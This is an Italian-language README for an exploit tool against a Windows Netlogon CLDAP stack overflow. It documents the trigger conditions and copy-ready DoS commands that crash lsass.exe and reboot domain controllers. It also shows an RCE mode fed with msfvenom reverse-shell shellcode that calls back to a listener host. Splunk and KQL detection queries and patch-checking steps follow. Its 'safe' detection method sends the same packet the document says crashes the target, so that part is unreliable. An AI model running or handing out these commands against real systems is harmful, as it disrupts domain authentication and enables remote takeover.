
CVE-2026-41089 è una vulnerabilità critica di esecuzione remota di codice nel servizio Windows Netlogon: un singolo pacchetto può far crashare lsass.exe, causando il riavvio del controller di dominio in circa 30-60 secondi. Durante questo periodo, tutta l'autenticazione di dominio per quel DC fallirà.
CVE-ID: CVE-2026-41089
CVSS: 9.8 (Critico)
CWE: CWE-121 (Stack-based Buffer Overflow)
Vettore di attacco: UDP/389 (CLDAP SearchRequest)
Impatto: Esecuzione di codice in remoto (RCE) / Denial of Service (DoS)
Versioni interessate: Windows Server 2012 R2 ~ 2025 (Domain Controllers)
Patch: Aggiornamento cumulativo di maggio 2026
La funzione NetpLogonPutUnicodeString in netlogon.dll presenta una vulnerabilità di stack buffer overflow durante l'elaborazione delle richieste di ricerca CLDAP. La funzione riceve un budget di lunghezza in byte, ma lo interpreta come conteggio WCHAR, causando una scrittura pari al doppio del previsto.
L'overflow si verifica nel buffer di stack fisso di 528 byte (264 ushort) della funzione NlGetLocalPingResponse. Il campo User controllabile dall'attaccante, insieme al nome di dominio DNS del server stesso, riempie questo buffer, sovrascrivendo infine il GS security cookie, causando __report_gsfailure e il crash di lsass.exe.
NtVer=0x02 nella CLDAP SearchRequest (forza l'uso del vecchio percorso vulnerabile BuildSamLogonResponse)User ≥ ~130 caratteri (limite binario di circa 260 byte UTF-16)Nota:
NtVer=0x16(valore utilizzato da molti script di rilevamento pubblici) attiva il percorso sicuroBuildSamLogonResponseExe non attiva la vulnerabilità.
| Modalità | Descrizione |
|---|---|
--mode dos | Invia pacchetti CLDAP appositamente costruiti, causando il crash di LSASS e il riavvio del DC (~60 secondi di interruzione dell'autenticazione) |
--mode rce | Tenta l'esecuzione di codice in remoto (livello di ricerca, richiede shellcode) |
--mode scan | Scansiona le risposte con diversi valori NtVer, effettuando il fingerprinting del DC target |
--mode auto | Rileva automaticamente e seleziona la migliore strategia di attacco |
Un singolo pacchetto può causare il crash di lsass.exe, provocando il riavvio del domain controller in circa 30-60 secondi. Durante questo periodo, tutte le autenticazioni di dominio su quel DC falliranno.
# Utilizzo base — invia 3 pacchetti
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# Attacco rapido con singolo pacchetto
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# Modalità aggressiva — 5 pacchetti in parallelo
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ Livello di ricerca — inaffidabile e instabile in ambienti reali.
L'RCE affronta le seguenti sfide:
# Genera shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# Invia la catena RCE
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# Fingerprinting del DC target
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
Esempio di output previsto (target con patch):
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Esempio di output previsto (target senza patch):
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Se NtVer=0x02 va in timeout mentre le altre versioni rispondono normalmente, il target è molto probabilmente vulnerabile.
| Parametro | Descrizione | Valore predefinito |
|---|---|---|
-l, --user-len | Lunghezza del campo username (numero di caratteri ASCII) | 180 |
--ntver | Valore NtVer (esadecimale, es. 0x02) | 0x02 |
--count | Numero di pacchetti DoS inviati | 3 |
--delay | Ritardo tra i pacchetti (secondi) | 0.5 |
-t, --timeout | Timeout del socket (secondi) | 5.0 |
--json | Output dei risultati in formato JSON | — |
--raw | Stampa l'esadecimale del pacchetto raw prima dell'invio | — |
--quiet | Sopprime l'output del banner | — |
--shellcode-file | File shellcode personalizzato (x64 raw) | — |
--lhost | Indirizzo di ascolto per reverse shell | — |
--lport | Porta di ascolto per reverse shell | 4444 |
# Creare un DC con dominio lungo su Windows Server (senza patch):
# 1. Promuovere a domain controller (dominio DNS con nome molto lungo, ad esempio "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. Verificare che sia installata una patch precedente a maggio 2026
# 3. Eseguire dalla macchina attaccante:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. Osservare il crash e il riavvio del DC
User > 100 byte e NtVer = 0x02Event ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
| Versione di Windows Server | Numero di versione con patch | Note |
|---|---|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |
# Script di rilevamento sicuro — non causa il crash del target
python detect_CVE-2026-41089.py <DC_IP> <DOMAIN>
# Output JSON (adatto per scansioni in batch)
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --json
# Mostra i passaggi di verifica della patch
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --check-patch
Principio di rilevamento: invia richieste CLDAP brevi con NtVer=0x02 (attiva il percorso vulnerabile) e NtVer=0x16 (percorso sicuro). Se 0x02 va in timeout ma 0x16 risponde normalmente, il target è molto probabilmente vulnerabile.
Installare immediatamente la patch: aggiornamento cumulativo di maggio 2026 (KB5058405 o superiore)
# Verifica gli aggiornamenti installati
Get-HotFix | Where-Object {$_.InstalledOn -gt '2026-05-01'}
# Installa l'aggiornamento più recente
Install-WindowsUpdate -AcceptAll -AutoReboot
Verificare la versione di netlogon.dll:
(Get-Item C:\Windows\System32\netlogon.dll).VersionInfo.FileVersion
# Confrontare con la tabella delle versioni con patch sopra